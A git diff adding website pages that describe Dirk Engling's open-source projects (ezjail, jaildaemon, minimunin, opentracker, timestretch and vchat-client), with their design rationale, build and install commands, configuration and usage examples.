398ezjail was written by Dirk Engling with lot of support from the ezjail community. We like to hear from happy customers. My personal address is erdgeist@erdgeist.org. Requests should go to the project mailing list ezjail@erdgeist.org. You can subscribe to that list at ezjail-subscribe@erdgeist.org. There is an IRC channel #ezjail on ircnet. Please send bug reports, comments and feature requests. Donations are welcome… in form of beer. See…
399
400----
401
402License
403=======
404
405ezjail is considered `beer ware </beerware.html>`_.
406
407----
408
409Thanks
410======
411
412Here I need to re-add a modernized list of thanks.
diff --git a/stories/projects/ezjail_philosophy.rst b/stories/projects/ezjail_philosophy.rst
new file mode 100644
index 0000000..52e2f7f
--- /dev/null
+++ b/stories/projects/ezjail_philosophy.rst
@@ -0,0 +1,50 @@
1.. link:
2.. description: the philosophy behind the ezjail framework
3.. tags:
4.. date: 2015/02/01 19:10:08
5.. title: ezjail - philosophy
6.. slug: ../arts/software/ezjail/philosophy
7
8.. contents::
9 :depth: 1
10 :class: ezjail-toc
11
12----
13
14Overview
15========
16
17Computer programs tend to contain programming errors. Chances to avoid them in every program that provides services to the internet are low. What is needed is a way of limiting the impact of programming errors to the system hosting the service.
18
19Computers become faster and their resources in terms of memory, mass storage and internet connectivity can suite several users at once. This led to the development of time sharing computing, most popular in Unix. The next level of abstraction is virtual servers enabling every owner of such an entity to create users and use the power of multitasking as well, without even noticing that the machine is not completely under his control.
20
21Some server software expects its configuration to be always in the same location in file system and makes changing this location difficult to impossible. Some server software requires certain privileges you would not want to grant it, even if you would assume it being error-free. Some users want certain privileges you would not want to grant them, even if you would assume they know what they are doing. What is needed is a way of limiting the impact of permissions you have to grant.
22
23Historical approaches
24=====================
25
26Several approaches to achieve most of the above have been made. It has shown that the most secure way to do so is to physically separate services to different machines. Of course, this has its costs, is a lot more complex since you have to reproduce and administrate the setup over and over. And, of course, it contradicts the idea of using the grown performance as shown in the second paragraph. Luckily most of the problems were solvable, solutions being condensed in the ezjail script set.
27
28FreeBSD has introduced the concept of jails to eliminate shortcomings seen in so called chroot-environments. chroot changes the file system root for certain programs, leaving them without any means of even expressing the need for access to resources outside their constricted world. Jails take this approach a little further, they represent virtual computers (virtual server), each bound to a single internet address having its file system root somewhere under the real computers (hosting server) file system root. Certain rulesets forbid jailed programs access to specific devices, for example hard drives or kernel memory.
29
30In theory this concept enables you to lock in each (server-)program you run on your computer to its own virtual world limiting the impact it may (deliberately or by mistake) have on other services. In practice each program depends on a set of libraries, tools, configuration directories, system users, other installed software and so on. In short: most servers need at least a small subset of the host servers operating system (OS). Complete virtual servers, of course, need a whole copy of the host servers OS.
31
32Problems in historical approaches
33=================================
34
35Locking in a single program that way may work out fine, as it "only" doubles the size your operating system needs on hard disc, and hard disc space is becoming cheaper as I write, the FreeBSD OS only needs around 100MB. However, copying all the data does not scale well when you need hundreds of programs being jailed or want to provide dozens of virtual computers. Further, distributing OS software updates to all this instances, which possibly even were created from different versions of the OS source code, becomes an administration nightmare.
36
37Although hard disc space is becoming less of an issue, OSs tend to assume the space rather being occupied by few large files then many small files. So they reserve a limited number of control structures for storing files and directories, called "inodes". Now, copying the whole OS many times consumes many of those valuable inodes on disc, eventually preventing the creation of new virtual servers. Worse: since each library, each executable and each configuration file of the OS exists as several copies, the OS has no way of telling that they're the same and thus has to load each copy to memory, if any of the virtual servers or jailed programs need them.
38
39To complete the picture of the situation I was confronted with when starting the ezjail project: the way to install a copy of the OS to create a virtual server involved (and still involves) installing a copy of the OS source code and invoking several commands to compile, install and configure it. This still left the administrator with the need to start the virtual server by hand and entering a lot of complicated configuration statements to the OSs startup scripts in order to have them run automatically when the server starts up. Jailing programs or virtual servers was rather complicated, achieving any of the goals set at the beginning of this text far away.
40
41Developing a solution
42=====================
43
44It was very helpful that Unix' file system hierarchy reflects historic optimizations. The `Filesystem Hierarchy Standard <http://www.pathname.com/fhs/>`_ defines a set of "sharable files", mostly OS binaries, libraries, header files and resources. Those directories are meant to be shared by several computers (via Net-boot, eventually read only from CD-ROM). "unsharable files" on the other hand, contain configuration data, dynamic data like user mails, installed applications etc. While the former directories only need to exist once for all jails and can be provided in a read only fashion, the latter must be provided for each jail and, of course, be writable.
45
46And here a path to the solution shows: most modern OSs know a way of "local mount"/"loopback mount"/"null mount" directories back into the directory hierarchy. That way it is possible to provide all sharable files in a read only fashion to the chroot environment of jailed programs. All unique data a virtual server need is in the "unshared files" which must be copied for each of them. Fortunately, these files are just 2MB in size on the FreeBSD OS. How the sharable files are being provided is subject to implementation. The ezjail project mounts one directory containing all those shareable files and provides soft links from all directories not in the unshared files part of the OS.
47
48Besides having a central point for OS updating all instances at once, this approach can prevent standard root kits to install, since most of the binaries they usually replace are in the unshared files, yet, when someone really wants to install their own version of the OS binaries, one can do so by just removing the soft links and provide self compiled system binaries. System administrators know exactly, which OS version problems in virtual servers are related to, since all virtual servers have the same base system.
49
50Everything left to do is to provide a neat interface, do some sanity checks, wrap it properly around the existing scripts of your OS and find a nice name. In my case: `ezjail <ezjail.html>`_.
diff --git a/stories/projects/jaildaemon.rst b/stories/projects/jaildaemon.rst
new file mode 100644
index 0000000..cc818e3
--- /dev/null
+++ b/stories/projects/jaildaemon.rst
@@ -0,0 +1,77 @@
1.. description: is a tool for the FreeBSD operating system to allow flexible and secure communication from jail environments to the host system.
2.. tags: project
3.. date: 2015/02/18 19:10:08
4.. title: jaildaemon
5.. subtitle: A fixed command-line interface for FreeBSD jails to their host system
6.. slug: ../arts/software/jaildaemon/index
7.. prio: 850
8
9.. contents::
10 :depth: 1
11 :class: ezjail-toc
12
13----
14
15Overview
16========
17
18.. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg
19 :align: right
20
21Virtual FreeBSD jail based server environments can not easily trigger actions in the host system, most prominently restarting themselves (if they ``kill -1`` everything, they usually stay shut down) and trigger actions like routing table updates, triggering zfs snapshots or rollbacks and configuring ``tun/tap``-Devices (as an openvpnd would).
22
23There are several less-than-optimal solutions for that problem: granting forced-command ssh access to jails, polling some Jail-state from within the host system or dig some proprietary socket holes through the Jail's barrier, exposing a root-shell attack vector to the outside world.
24
25*jaildaemon* aims to solve the problem in a simple and straight forward way while trying to minimize the attack surface for adversaries from the Jail and the network. It is a tiny daemon running in the host system that forks a probe process with a single associated command on demand, attaches it to a single jail and (optionally) assigns it a verbose proctitle. When the Jail's root user sends a SIGHUP to this probe process, it dies with a magic exit code, signalling the daemon to execute the associated command (in host context). You can chose to have the daemon restart the probe process after the command is executed (e.g. when it triggers updating routing tables) or just wait for it to be restarted by the Jail management tool (e.g. when using ``/usr/local/etc/rc.d/ezjail restart shell.foo.com`` as a reboot helper).
26
27----
28
29Code
30====
31
32You can always get the latest version of *jaildaemon*, use ``git clone git://erdgeist.org/jaildaemon`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co jaildaemon`` with an empty password to check it out. There is a *jaildaemon* tarball, but no versioning yet. You can scroll through the source at `jaildaemon gitweb </gitweb/jaildaemon>`_ or `jaildaemon cvsweb (deprecated) </cvsweb/jaildaemon>`_. Typing ``make install`` installs the binary in your ``${PREFIX}/bin`` (or ``/usr/local``, if none is set) and the rc-script to ``${PREFIX}/etc/rc.d/``.
33
34A tight integration with `ezjail </arts/software/ezjail/>`_ is, of course, following soon.
35
36----
37
38Examples
39========
40
41Start the daemon as root with ``jaildaemon -D``, with optional parameters ``p`` and ``f`` to request the pidfile being written or to specify a different controlling command unix domain socket location (that is used by *jaildaemon* when run in client mode to communicate with the server, and defaults to ``/var/run/jaildaemon.pipe``), respectively.
42
43If you installed the package, you can just enable *jaildaemon* in your ``/etc/rc.conf``, by adding ``jaildaemon_enable=YES``. It should then start at reboot, or when you run ``/usr/local/etc/rc.d/jaildaemon start``.
44
45Start a new probe process in a Jail (in this example jid 23) to trigger the execution of the script::
46
47 /usr/local/bin/parse_route_config -s /usr/jails/shell.foo.com/
48
49while identifying as 'route config update' in the jail and respawn::
50
51 jaildaemon -j 23 -c '/usr/local/bin/parse_route_config -s /usr/jails/shell.foo.com/' -t 'route config update' -r
52
53From within the jail (``ezjail-admin console shell.foo.com``) trigger the command by ``pkill -HUP -f 'route config update'``.
54
55Start a (non-spawning) Jail reboot trigger::
56
57 jaildaemon -j 23 -c '/usr/local/etc/rc.d/ezjail restart shell.foo.com' -t REBOOT
58
59Now, from within that Jail, reboot via ``pkill -HUP -f REBOOT``.
60
61----
62
63Version history
64===============
65
66* Version 0.2:
67
68 * Fixed a bug where *jaildaemon* when run from /etc/rc would ignore SIGHUP by default.
69 * You can now make the probe drop into another uid, so that non-root-processes can trigger actions, as well.
70 * Allow *jaildaemon* to accept the jailname for the -j parameter, as well.
71
72----
73
74License
75=======
76
77*jaildaemon* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_ with lots of help from sg and is considered `beer ware </beerware.html>`_.
diff --git a/stories/projects/minimunin.rst b/stories/projects/minimunin.rst
new file mode 100644
index 0000000..170c30a
--- /dev/null
+++ b/stories/projects/minimunin.rst
@@ -0,0 +1,75 @@
1.. link:
2.. description: is a tiny munin-node implementation for FreeBSD written in pure bourne shell providing basic plugin support.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: minimunin
6.. subtitle: A tiny munin-node implementation for FreeBSD written in pure bourne shell providing basic plugin support
7.. slug: ../arts/software/minimunin/index
8.. prio: 800
9
10.. contents::
11 :depth: 1
12 :class: ezjail-toc
13
14----
15
16Overview
17========
18
19.. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg
20 :align: right
21
22`munin <http://munin-monitoring.org/>`_ is an open source multi platform service monitoring framework, written in perl. Munin nodes report server statistics to their respective masters. Unfortunally, the munin-node script is written in perl, too – even though the language features never actually are used. On a FreeBSD system this introduces unnecessary dependencies. *minimunin* tries to address this: It was implemented as a simple shell script triggered from inetd.conf and comes with some handy built in monitoring commands. Most of the munin plugins should also work.
23
24----
25
26Code
27====
28
29You can always get the latest version of *minimunin*, use ``git clone git://erdgeist.org/minimunin` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co minimunin`` with an empty password to check it out. There is a `minimunin tarball <minimunin-0.2.tar.bz2>`_. You can scroll through the source at `minimunin gitweb </gitweb/minimunin>` or `minimunin cvsweb (deprecated) </cvsweb/minimunin>`_. Typing ``make install`` installs the binary in your ``${PREFIX}/bin`` (or ``/usr/local``, if none is set).
30
31----
32
33Installation
34============
35
36After getting *minimunin* either from source or by installing the FreeBSD port/package, you need to activate *minimunin*. Just add the line::
37
38 munin stream tcp nowait nobody /usr/libexec/tcpd /usr/local/bin/minimunin
39
40to your ``/etc/inetd.conf``. Alternatively, if you plan to run plugins that require root permissions (e.g. for changing to a different user via the plugin config), add::
41
42 munin stream tcp nowait root /usr/libexec/tcpd /usr/local/bin/minimunin`` to your ``/etc/inetd.conf
43
44In both cases you need to enable inetd by setting ``inetd_enable="YES"`` in your ``/etc/rc.conf`` and restart inetd with the ``service inetd start`` command. You may also want to restrict access to your munin node via the ``/etc/hosts.allow`` and ``/etc/hosts.deny`` configuration files.
45
46----
47
48Plugins
49=======
50
51Munin has been designed to allow administrators to `write their own plugins <http://munin-monitoring.org/wiki/HowToWritePlugins>`_ to provide statistics not covered by the base installation. You can find `many munin plugins here <http://munin-monitoring.org/browser/munin-contrib/plugins>`_. *minimunin* can execute those plugins, as well. It expects plugin files in the folder /usr/local/etc/minimunin-plugins and will ignore `wild card plugins <http://munin-monitoring.org/wiki/WildcardPlugins>`_. In order to use them (after reading the documentation on the project website ;) create the appropriate soft link, e.g. ``ln -s if_ /usr/local/etc/minimunin-plugins/if_bge0``. Please note that the plugins must be executable and you may need to install further dependencies for plugins, such as perl, python or monitoring helpers.
52
53munin plugins `can be configured with ini-file style config files <http://munin-monitoring.org/wiki/plugin-conf.d>`_. *minimunin* expects config to reside under ``/usr/local/etc/minimunin-configs``, either as a single config file or a directory containing respective configs. Currently *minimunin* only supports the config parameters ``env.``-variables, ``user`` and ``command``. The ``group`` and ``timeout`` config parameters are not supported. The ``user`` parameter only works if *minimunin* finds itself being root and otherwise silently ignores the ``user`` parameter.
54
55----
56
57Version history
58===============
59
60* V0.2 `minimunin-0.2.tar.bz2 <minimunin-0.2.tar.bz2>`_ (2014-13-02)
61
62 * Fixed a bug where uptime was not reported correctly. Thanks to Lothar Schmidt.
63 * Fixed a bug where only the last environment setting of a plugin config was obeyed. Thanks to Philipp Wünsche.
64* V0.1 `minimunin-0.1.tar.bz2 <minimunin-0.1.tar.bz2>`_ (2013-09-29)
65
66 * First version, no diffs to previous ones ;)
67
68----
69
70License
71=======
72
73*minimunin* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_ and is considered `beer ware </beerware.html>`_.
74
75Please do not even think about hesitating to contact me via email or `@erdgeist <http://twitter.com/erdgeist>`_ on twitter.
diff --git a/stories/projects/opentracker.rst b/stories/projects/opentracker.rst
new file mode 100644
index 0000000..294d2c9
--- /dev/null
+++ b/stories/projects/opentracker.rst
@@ -0,0 +1,136 @@
1.. link:
2.. description: is a highly scalable tracker software for the bittorrent protocol, currently in use on the largest bulk trackers around.
3.. tags: project
4.. date: 2015/02/19 19:10:08
5.. title: opentracker
6.. subtitle: An open and free bittorrent tracker
7.. slug: ../arts/software/opentracker/index
8.. prio: 1000
9
10.. contents::
11 :depth: 1
12 :class: ezjail-toc
13
14----
15
16.. image:: opentracker_beta3.png
17 :align: left
18 :width: 200px
19
20Overview
21========
22
23*opentracker* is a open and free `bittorrent tracker <http://wiki.theory.org/BitTorrentSpecification>`_ project. It aims for minimal resource usage and is intended to run at your wlan router. Currently it is deployed as an open and free tracker instance. Read our `free and open tracker blog <http://opentracker.blog.h3q.com/>`_ and announce your torrents there (but do not hesitate to setup your own free trackers!).
24
25----
26
27Version History
28===============
29
30*opentracker* is currently only available from CVS. A tar ball will be rolled soon. Use ``git clone git://erdgeist.org/opentracker`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co opentracker`` with an empty passwort to check it out. An `*opentracker* gitweb </gitweb/opentracker/>`_ and an `*opentracker* cvsweb (deprecated) </cvsweb/opentracker/>`_ are available.
31
32----
33
34Build instructions
35==================
36
37Until *opentracker* is declared official release ready, the way to install it is::
38
39 cvs -d :pserver:cvs@cvs.fefe.de:/cvs -z9 co libowfat
40 cd libowfat
41 make
42 cd ..
43 # LEGACY: cvs -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co opentracker
44 git clone git://erdgeist.org/opentracker
45 cd opentracker
46 make
47
48That should leave you with an exectuable called ``opentracker`` and one debug version ``opentracker.debug``.
49
50Some variables in *opentracker*'s Makefile control features and behaviour of *opentracker*. Here they are:
51
52* ``-DWANT_V6`` makes *opentracker* an IPv6-only tracker. More in the v6-section below.
53* *opentracker* can deliver gzip compressed full scrapes. Enable this with ``-DWANT_COMPRESSION_GZIP`` option.
54* Normally *opentracker* tracks any torrent announced to it. You can change that behaviour by enabling ONE of ``-DWANT_ACCESSLIST_BLACK`` or ``-DWANT_ACCESSLIST_WHITE``. Note, that you have to provide a whitelist file in order to make *opentracker* do anything in the latter case. More in the closed mode section below.
55* *opentracker* can run in a cluster. Enable this behaviour by enabling ``-DWANT_SYNC_LIVE``. Note, that you have to configure your cluster before you can use *opentracker* when this option is on.
56* Some statistics *opentracker* can provide are sensitive. You can restrict access to these statistics by enabling ``-DWANT_RESTRICT_STATS``. See section statistics for more details.
57* Fullscrapes is bittorrent's way to query a tracker for all tracked torrents. Since it's in the standard, it is enabled by default. Disable it by commenting out ``-DWANT_FULLSCRAPE``.
58* By default *opentracker* will only allow the connecting endpoint's IP address to be announced. Bittorrent standard allows clients to provide an IP address in its query string. You can make *opentracker* use this IP address by enabling ``-DWANT_IP_FROM_QUERY_STRING``.
59* Some experimental or older, deprecated features can be enabled by the ``-DWANT_LOG_NETWORKS``, ``-DWANT_SYNC_SCRAPE`` or ``-DWANT_IP_FROM_PROXY`` switch.
60* Currently there is some packages for some linux distributions and OpenBSD around, but some of them patch Makefile and default config to make *opentracker* closed by default. I explicitly don't endorse those packages and will not give support for problems stemming from these missconfigurations.
61
62----
63
64Invocation
65==========
66
67*opentracker* can be run by just typing ``./opentracker``. This will make *opentracker* bind to ``0.0.0.0:6969`` and happily serve all torrents presented to it. If ran as root, *opentracker* will immediately chroot to . (or any directory given with the -d option) and drop all priviliges after binding to whatever tcp or udp ports it is requested.
68
69When options were few, *opentracker* used to accept all of them from command line. While this still is possible for most options, using them is quite unhandy: an example invocation would look like ``./opentracker -i 23.23.23.7 -p 80 -P 80 -p 6969 -i 23.23.23.8 -p 80 -r http://www.mytorrentsite.com/ -d /usr/local/etc/opentracker -w mytorrents.list -A 127.0.0.1``.
70
71*opentracker* now uses a config file that you can provide with the ``-f`` switch.
72
73----
74
75Config file
76===========
77
78*opentracker*'s config file is very straight forward and a very well documented example config can be found in the file `opentracker.conf.sample </gitweb/opentracker/tree/opentracker.conf.sample>`_.
79
80----
81
82Closed mode
83===========
84
85While personally I like my tracker to be open, I can see that there's people that want to control what torrents to track – or not to track. If you've compiled *opentracker* with one of the accesslist-options (see Build instructions above), you can control which torrents are tracked by providing a file that contains a list of human readable info_hashes. An example whitelist file would look like ::
86
87 0123456789abcdef0123456789abcdef01234567
88 890123456789abcdef0123456789abcdef012345
89
90To make *opentracker* reload it's white/blacklist, send a ``SIGHUP`` unix signal.
91
92----
93
94Statistics
95==========
96
97Given its very network centric approach, talking to *opentracker* via http comes very naturally. Besides the ``/announce`` and ``/scrape`` paths, there is a third path you can access the tracker by: ``/stats``. This request takes parameters, for a quick overview just inquire `/stats?mode=everything``.
98
99Statistics have grown over time and are currently not very tidied up. Most modes were written to dump legacy-SNMP-style blocks that can easily be monitored by `MRTG <http://oss.oetiker.ch/mrtg/>`_. These modes are: ``peer``, ``conn``, ``scrp``, ``udp4``, ``tcp4``, ``busy``, ``torr``, ``fscr``, ``completed``, ``syncs``. I'm not going to explain these here.
100
101The ``statedump`` mode dumps non-recreatable states of the tracker so you can later reconstruct an *opentracker* session with the -l option. This is beta and wildly undocumented.
102
103You can inquire *opentracker*'s version (i.e. CVS versions of all its objects) using the ``version`` mode.
104
105----
106
107Philosophy
108==========
109
110A torrent tracker basically is an http-Server that collects all clients ip addresses into pools sorted by one of the request strings parameters and answers all other clients that specified this exact same parameter a list of all other recent clients. All technologies to implement this are around for more than twenty years. Still most implementations suck performancewise.
111
112Utilizing the highly scalable server framework from `libowfat <http://www.fefe.de/libowfat/>`_, *opentracker* can easily serve multiple thousands of requests on a standard plastic WLAN-router, limited only by your kernels capabilities ;)
113
114One important design decision of *opentracker* was to not store any data persistently. This reduces wear&tear on hard disks and eliminates problems with corrupt databases.
115
116----
117
118Author
119======
120
121*opentracker* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers.
122
123----
124
125Thanks
126======
127
128A project like this one is impossible without lots of help from friends. It is powered by beer, much energy and love, batches of bug reports and support on the operating system integration side by denis, taklamakan, cryx, supergrobi and – his libowfat always on the bleeding edge – Fefe. Thanks are also due to Hannes for helping me out with designing internal data representation.
129
130----
131
132License
133=======
134
135*opentracker* is considered `beer ware </beerware.html>`_.
136
diff --git a/stories/projects/timestretch.rst b/stories/projects/timestretch.rst
new file mode 100644
index 0000000..15ce5ca
--- /dev/null
+++ b/stories/projects/timestretch.rst
@@ -0,0 +1,63 @@
1.. link:
2.. description: is a fast implementation for SOLA, a sample time stretching algorithm.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: timestretch
6.. subtitle: a fast sample time stretching implementation
7.. slug: ../arts/software/timestretch/index
8
9.. contents::
10 :depth: 1
11 :class: ezjail-toc
12
13Overview
14========
15
16When reducing or increasing the playback speed of an audio recording, it's pitch usually changes, leading to an audible "mickey mouse" effect. The `SOLA algorithm <http://en.wikipedia.org/wiki/Audio_time-scale/pitch_modification#SOLA>`_ provides a way to change the speed without altering the pitch.
17
18----
19
20Details
21=======
22
23The basic idea behind the method lies in the inherent redundancy in the periodic waves of spoken words or music. A vowel consists of overlayed and repeating waves where a human ear would not mind a single one of those repetitions being there or not:
24
25.. image:: timestretch_1.png
26
27
28If we want to play a sample faster, we can try to find the period length corresponding to the base frequency of the recording in that place and overlap some periods, cross fading the first snippet one into the other. Or put it more visually intuitive:
29
30.. image:: timestretch_2.png
31
32
33Obviously the recording is shorter than before, meaning it can be played in less time. In order to reduce the play time by a fixed ratio, we can alter the length of the overlapping windows (bright blue).
34
35To find the perfect offset to overlay our samples at, we simply brute force the sum of all differences of all samples for each offset, using the `mean squared error <http://en.wikipedia.org/wiki/Mean_squared_error>`_ and selecting the offset where the error is minimal – a process commonly called auto correlation. In our implementation this error is further biased towards the center of our window, so that the algorithm is not forced into selecting some sub optimal (and audibly bad) positions after a while, if the inherent period length the overlapping length differs only slightly.
36
37----
38
39Build instructions
40==================
41
42*timestretch* is available from my git repository. Use ``git clone git://erdgeist.org/timestretch`` to check it out. An `timestretch gitweb </gitweb/timestretch/>`_ is available.
43
44Currently there's only one source file containing the setup routine ``calc_convert_values``, which takes sample rate (used to calculate a proper window length in ms, based on heuristic values) and a tempo, which is a floating point value giving the rate in which to slow down or speed up the recording. It fills global variables you might want to put in a context struct for your project. At exit, the value ``g_input_length`` is the minimum number of samples expected for later processing, ``g_output_length`` is the exact amount of samples produced by each run.
45
46The actual work is done in the ``process_frame`` function which takes a pointer to the input and output buffer, the pointer to some scratch space (set up in ``calc_convert_values`` in this implementation) and a ``frame_flag`` indicating if this is the first frame (where nothing is there to cross fade with), a normal frame and the last frame, where no samples are kept for later cross fading and the caller can continue to resume to non-timestretched playback again.
47
48----
49
50Author
51======
52
53*timestretch* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers.
54
55----
56
57License
58=======
59
60*timestretch* is considered `beer ware </beerware.html>`_.
61
62
63
diff --git a/stories/projects/vchat-client.rst b/stories/projects/vchat-client.rst
new file mode 100644
index 0000000..f540f04
--- /dev/null
+++ b/stories/projects/vchat-client.rst
@@ -0,0 +1,267 @@
1.. link:
2.. description: is a curses based chat client for the arcane vchat protocol.
3.. tags: project
4.. date: 2014/02/01 19:10:08
5.. title: vchat-client
6.. slug: ../arts/software/vchat-client/index
7
8Newbies Guide to vchat via 'Buntclient'
9=======================================
10
111. Get the Source, Luke
12-----------------------
13
14Make sure, you got a shell and the tool called cvs.
15cd to a directory the source shall reside in.
16
17Type::
18
19 $ cvs -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot login
20 $ cvs -z3 -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co vchat-client
21
22(press return at password prompt)
23
24
252. Do the verpile
26-----------------
27
28Enter the vchat-client/ directory.
29Type::
30
31 $ make
32
33If that fails due to some readline fuckups, try again with::
34
35 $ make OLDREADLINE=-DOLDREADLINE
36
37If you are administrator of your computer and want to install
38vchat-client permanently, type::
39
40 $ make install
41
42You may also run the binary from its compile location.
43
44
453. Get protected
46----------------
47
48Run the script vchat-keygen, located in the vchat-client/ directory.
49Follow its instructions.
50
51
524. Home sweet Home
53------------------
54
55Create a .vchat/ directory in your homedir. ::
56
57 $ cd
58 $ mkdir .vchat/
59
60Copy your key to the .vchat/ directory::
61
62 $ cp ~/.vchat.key ~/.vchat/key
63
64Whenever your signed cert arrives from vchat at vchat.berlin.ccc dot de,
65copy it to the .vchat/ directory as well::
66
67 $ cp ~/.vchat.cert ~/.vchat/cert
68
69In order to modify the look of your client, you may copy one of
70the sample-xxx.fmt files to the .vchat/ directory::
71
72 $ cd vchat-client/
73 $ cp sample-erdgeist.fmt ~/.vchat/formats
74
75If you want to set the chat server to vchat.berlin.ccc.de now,
76type::
77
78 $ echo host=vchat.berlin.ccc.de >> ~/.vchat/config
79
80If you want to ignore SSL-warnings due to missing CA-files, type::
81
82 $ echo ignssl=1 >> ~/.vchat/config
83
84If you don't want to ignore SSL-warnings, get the root-certificates from:
85
86 http://www.cacert.org/certs/class3.txt
87 and
88 http://www.cacert.org/certs/root.txt
89
90and copy them into your openssl-certs directory. For example::
91
92 # cp root.txt /etc/ssl/certs/
93 # cp class3.txt /etc/ssl/certs/
94 # cd /etc/ssl/certs
95 # ln -s root.txt `openssl x509 -in root.txt -hash | head -n 1`.0
96 # ln -s class3.txt `openssl x509 -in class3.txt -hash | head -n 1`.0
97
98Now you can type::
99
100 $ echo ignssl=0 >> ~/.vchat/config
101
102
103If you want a seperate private message window, type::
104
105 $ echo messages=10 >> ~/.vchat/config
106
107If you want to have no topic line, like in the oldschool client,
108do not choose a private message window an type::
109
110 $ echo usetopicbar=0 >> ~/.vchat/config
111
1125. First bunt
113-------------
114
115Check, whether you REALLY got a signed cert.
116
117[....
118If you did not get a reply from vchat at vchat.berlin.ccc dot de within
1193 days, this might either be due to you not being known to the
120certificate masters, or simply because of the verpeil. You may,
121after 3 days, contact me at erdgeist at erdgeist dot org. If I don't
122reply, too, reconsider your lifestyle.
123....]
124
125Start the client::
126
127 $ vchat-client
128
129or ::
130
131 $ vchat-client/vchat-client
132
133Enter the passphrase to your private key, if you added one.
134
135Look around. If the Umlautz are broken, try to trouble shoot here:
136https://freepad.erdgeist.org/p/fT9OoDoLMx
137
138Try to feel comfortable with the new look of your vchat-
139environment. Close your mouth. Try playing around with the
140following commands:
141
142If you did not enable the seperate private message window,
143ignore this part:
144
145[ STARTIGNORE
146
147Press Ctrl-G and Ctrl-T several times.
148Press Ctrl-X, then send yourself a private message, watch, what
149happens
150Press Ctrl-C ONCE!!!
151Press Ctrl-R and watch the asteriks at the very right of your
152screen, this one indicates, which window to scroll back
153
154ENDIGNORE]
155
156Press Ctrl-B Ctrl-F, if you collected some text in your
157message window. This should scroll back and forth.
158A red console bar should indicate, that you scrolled up.
159
160Press Ctrl-L to redraw and reset scroll indices.
161
162Play around with the completion:
163
164Hitting <TAB> at start of line will complete to ::
165
166 .m <lastpersonyouexchangedprivatemessageswith>
167
168if you hit <TAB> more often, you will cycle through this list,
169sorted by the last time you exchanges PMs with.
170
171Hitting <TAB> when you already typed some letters but no space
172yet will expand to all nicks in your current channel. You may
173cycle through this list, too.
174
175Hitting tab anywhere else expands to all nicks in all channels.
176
177Most other readline hotkeys (Ctrl-U, Ctrl-K, Ctrl-W, Ctrl-A...)
178will work as expected.
179
180
1816. Commandoe
182------------
183
184In addition to the server commands (.h, .m, .a, .s ...) the
185client brings its own set of commands, which will be triggered
186IRC-style by /COMMAND. These may be abbrevated to the lowest
187unambigous substring.
188
189Try /HELP for a first glimpse.
190The status window may be forced off by hitting Ctrl-X.
191
192/HELP KEYS should give you a short summary of available hot
193key commands.
194
195Some client commands are wrappers around server commands::
196
197 /ME == .a
198 /MSG == .m
199 /M == .m
200 /QUIT == .x
201
202The other commands are used to enable client side filtering
203and highlighting.
204
205Try::
206
207 /HELP FILTERS
208 /HELP FLT
209 /HELP FILTERS
210
211Highlight yourself::
212
213 /FLT 6 <nickname>
214
215if you don't see anything getting highlighted, you probably
216have a mac. If you got this far despite of that problem, you
217will surely find a way to enable colors in your terminal.
218
219Remove the filter rule::
220
221 /rmflt 1
222
223Zoom in all channel leaves::
224
225 /flt + left channel
226
227List your filter rules::
228
229 /lsflt
230
231Remove all filters::
232
233 /clflt
234
235Ignore all server leave and join messages::
236
237 /flt - ((left|joined|entered) (the )?(channel|chat))
238
239Reenable those lines::
240
241 /rmflt ((left|joined|entered) (the )?(channel|chat))
242
243Note: zoom overrides ignore.
244
245Be careful about setting your filters, as these are treated
246as regular expressions, which easily may lead to time
247consuming evaluations. Avoid brackets.
248
249
2507. Fiiiiiiiiieschas
251-------------------
252
253As I am still young *cough cough* I am _STILL_ willing to
254implement features of all stupidity grades. Contact me
255with /m erdgeist <feature request> at any time.
256
257
2588. You help
259-----------
260
261Since you will probably start fiddeling around with your
262.vchat/formats file, I'd appreciate getting YOUR format,
263too, as this may be helpful for others to make their own.
264Just send them to erdgeist at erdgeist dot org. Bug reports,
265feature request that are to long for the chat and diffs
266implementing some features are welcome at this address,
267too.